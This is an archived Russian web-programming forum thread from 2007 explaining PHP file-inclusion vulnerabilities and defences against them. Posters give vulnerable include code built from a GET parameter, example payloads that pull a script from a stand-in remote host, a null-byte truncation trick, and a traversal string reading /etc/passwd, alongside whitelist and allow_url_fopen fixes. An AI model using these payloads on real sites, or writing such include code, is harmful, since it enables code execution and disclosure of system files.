ФорумПрограммированиеПыхнуть хотите?F.A.Q. → Безопасность.Часть 4.Include method.

Безопасность.Часть 4.Include method.

  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 21 августа 2007 г. 10:56

    1)
    Название : Include method(перев.англ. метод вставкм)
    Оценка: 10 баллов
    Краткий обзор :
    По-моему,хуже,чем выполнение чужого РНР скрипта у вас на территории,придумать сложно.Именно это и позволяет этот метод.
    Применение метода:
    Возьмем к примеру блок новостей.И предположим ,что за новости отвечает скрипт news.php,т.е. он и отображает все новости,и выводит их по отдельности.Нетрудно догадаться,как происходит включение блока новостей,но для наглядности продемонстрируем это на примере.Пусть на страничке имеется надпись Новости и ссылается она на адрес cage.hacker.net?mod=news
    Что же это такое?А вот что.Следующий скрипт проводит инклуживание необходимого скрипта

    require_once($_GET['mod']."php");

    И в основной части,при нажатии на ссылку Новости,появляется блок новостей,выводящихся при помощи скрипта news.php.Все отлично,все работает!Но вчитайтесь в спецификацию этой функции.Если файл php.ini разрешает удаленные подключения файлов,то появляется вероятнось Include уязвимости.Так что же такое Include уязвимость,как она действует?
    Создаем по адресу ad3000.hacker.da php-скрипт hack.php следующего содержания

    echo "На этом сайте существует Include-уязвимость";

    и вместо адреса cage.hacker.net?mod=news пишем cage.hacker.net?mod=http://ad3000.hacker.da/hack
    Если у вас появилась страничка,где присутствует эта надпись,то последующая судьба сайта зависит исключительно от вашей фантазии

    Меры защиты: Защита элементарная,вы должны проверять наличие файла у вас на хосте,можно конечно придумать более извращенные методы,к примеру проверять наличие некоторых идентификаторов,но когда есть простые методы,сложные не нужны
  • ghost

    Сообщения: 883 Репутация: N Группа: Джедаи

    Spritz 21 августа 2007 г. 14:18, спустя 3 часа 21 минуту 42 секунды

    мера защиты еще лучшая - не передавать имя файла, имя каких-либо функций и т.п. гетом :)
    Защита элементарная,вы должны проверять наличие файла у вас на хосте

    situation:
    имеем в коде <?php include ($_GET['fname'].php);?> где fname='edit' или 'read'
    меняем edit на del и…
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 21 августа 2007 г. 14:33, спустя 15 минут 19 секунд

    ну и?
  • ghost

    Сообщения: 883 Репутация: N Группа: Джедаи

    Spritz 21 августа 2007 г. 14:54, спустя 20 минут 26 секунд

    ну и заместо редактирования или чтения элементов получаем их удаление, если не дай бог права на действие проверяются не в самом файле, а пораньше.
    эт конечно при условии что есть такой файлег, что названия переменных, которые там заюзаны совпадают с файлегом edit..
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 22 августа 2007 г. 1:10, спустя 10 часов 16 минут 46 секунд

    батенько)))это уже проблема прав,а не инклуда=)
  • adw0rd

    Сообщения: 22905 Репутация: N Группа: в ухо

    Spritz 22 августа 2007 г. 3:03, спустя 1 час 52 минуты 10 секунд

    ИМХО это самая глупая уязвимость… Если такое позволительно то просто пипец…
    Когда я только начинал кодить в вебе/вапе не допускал чтобы имя файла исполняемого подгружалось из внешки вообще…

    если очень нужно используйте switch-case конструкцию для проверки… или
    if(isset($_GET['edit'])) { require_once(""); }

    но лучше проверьте на введенные данные сначала GET переменную $_GET['edit'] не содержит ли она в значении запрещенных символов!

    Хехе еще можно отсекать! Типа того:

    Жертва:

    $_GET['mod'] = "news";

    <?php

    error_reporting(0);

    $post = "/superrserver/megaadmin/mainfunc.php";

    require_once $_GET['mod'].$post;

    //получается грузится "./news/superrserver/megaadmin/mainfunc.php"

    ?>


    Атакующий, GET строка браузера:
    http://cage.hacker.net?mod=http://ad3000.hacker.da/hack.php%00

    %00 - этим самым прибиваем остатки =) аля символ забоя
    adw/0
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 22 августа 2007 г. 4:06, спустя 1 час 3 минуты 13 секунд


    %00 - этим самым при прибиваем остатки =) (аля символ забоя)

    кто забил?на кого забил?=)
  • Sinkler

    Сообщения: 7931 Репутация: N Группа: в ухо

    Spritz 22 августа 2007 г. 8:11, спустя 4 часа 5 минут 37 секунд


    Защита элементарная,вы должны проверять наличие файла у вас на хосте

    … или проверять сначала, есть ли такой мод, в бд, например, - коли есть - вставлять, нет или вырублен - выдавать сообщение об отсутствии такого мода или об его отрубке
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 22 августа 2007 г. 9:14, спустя 1 час 2 минуты 6 секунд

    а еще лучше в таких случаях использовать мод по дефолту
  • Sinkler

    Сообщения: 7931 Репутация: N Группа: в ухо

    Spritz 23 августа 2007 г. 8:58, спустя 23 часа 44 минуты 14 секунд

    Действительно, чего перед юзером изгаляться…
  • AlexB

    Сообщения: 4290 Репутация: N Группа: в ухо

    Spritz 4 сентября 2007 г. 10:51, спустя 12 дней 1 час 53 минуты

    Проверка наличия файла мера необходимая, но не достаточная, ибо как минимум можно
    1. Заинклюдить системные файлы, например ../../../etc/passwd
    2. Заинклюдить непредусмотренный php скрипт

    А вот для того, чтоб обезопасится от инклюда http://ad3000.hacker.da/hack я бы рекомендовал отключать директиву allow_url_fopen, если в ней нет какой-то специальной необходимости (А в 99,9% случаев ее нет!).

  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 5 сентября 2007 г. 1:37, спустя 14 часов 45 минут 46 секунд

    1)насчет первого,ты не сможешь заинклюдить системный файл,потому что нету файла passwd.php в папке модулей ./modules =)
    2)насчет непредусмотренного php-скрипта - это уже к правам
    3)насколько я знаю ,эта директива в php.ini,кто же даст тебе к ней доступ?
  • adw0rd

    Сообщения: 22905 Репутация: N Группа: в ухо

    Spritz 5 сентября 2007 г. 2:52, спустя 1 час 15 минут 30 секунд

    1) %00 - символ забоя, если примерно будет так:

    URL: http://ad3000.hacker.da/?mod=../../../etc/passwd%00


    <?php
    print file_get_contents($_GET['mod'].".php");
    ?>


    то ваш ".php" отрежет нах…

    3) .htaccess > php_value allow_url_fopen 0

    PS: надо адрес занять ad3000.hacker.da, PR поднимается от пыхи :) из-за обратных ссылок :)
    adw/0
  • TRIAL

    Сообщения: 988 Репутация: N Группа: Джедаи

    Spritz 5 сентября 2007 г. 2:57, спустя 5 минут 17 секунд

    Всегда делал такие вещи через switch case
    немножко код побольше становится, зато легче со всем этим разбираться потом.
    from TRIAL with LOVE
  • cage

    Сообщения: 429 Репутация: N Группа: Кто попало

    Spritz 5 сентября 2007 г. 3:50, спустя 52 минуты 57 секунд

    ad3000 и все-таки ты неправ,потому что я проверяю наличие файла в папке /modules,а там никакого passwd и в помине нету

Пожалуйста, авторизуйтесь, чтобы написать комментарий!